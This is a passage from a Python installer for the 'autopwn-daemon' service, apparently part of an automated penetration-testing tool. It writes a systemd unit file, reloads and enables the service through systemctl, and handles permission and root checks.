{DAEMON_INSTALL_PATH}/autopwn-daemon.conf 300 | Restart=always 301 | RestartSec=5 302 | KillMode=process 303 | LimitNOFILE=65536 304 | StandardOutput=append:{LOG_PATH} 305 | StandardError=append:{LOG_PATH} 306 | Environment=PYTHONUNBUFFERED=1 307 | 308 | [Install] 309 | WantedBy=multi-user.target 310 | """ 311 | 312 | try: 313 | console.print(f"Writing systemd service file to {SERVICE_PATH} ...") 314 | with open(SERVICE_PATH, "w", newline="\n") as fh: 315 | fh.write(service_content) 316 | console.print(f"[green]Service file written to {SERVICE_PATH}[/green]") 317 | except PermissionError: 318 | console.print(f"[red]Permission denied writing {SERVICE_PATH}. Run this script as root or use sudo.[/red]") 319 | console.print("[yellow]Here’s the unit content to save manually:[/yellow]") 320 | console.print(service_content) 321 | return 322 | 323 | # Reload, enable and start the service 324 | try: 325 | console.print("Reloading systemd daemon ...") 326 | subprocess.check_call(["systemctl", "daemon-reload"]) 327 | console.print("Enabling and starting service ...") 328 | subprocess.check_call(["systemctl", "enable", "--now", "autopwn-daemon.service"]) 329 | console.print("[green]Service enabled and started successfully.[/green]") 330 | console.print("[blue]Check status with: sudo systemctl status autopwn-daemon.service[/blue]") 331 | except subprocess.CalledProcessError as e: 332 | console.print(f"[red]Systemctl command failed: {e}[/red]") 333 | console.print("[yellow]You may need to run manually: sudo systemctl daemon-reload && sudo systemctl enable --now autopwn-daemon.service[/yellow]") 334 | return 335 | 336 | console.print("[green]AutoPWN daemon installation complete.[/green]") 337 | 338 | 339 | 340 | 341 | def InstallDaemon(console): 342 | if not is_root() or not system().lower() == "linux": 343 | console.print("Daemon can only be installed on [cyan]Linux[/cyan] and as [cyan]root[/cyan]!") 344 | return 345 | print_banner(console) 346 | CreateConfig(console, "autopwn-daemon.conf") 347 | CopyFiles(console) 348 | 349 | 350 | def UninstallDaemon(console): 351 | print_banner(console) 352 | --------------------------------------------------------------------------------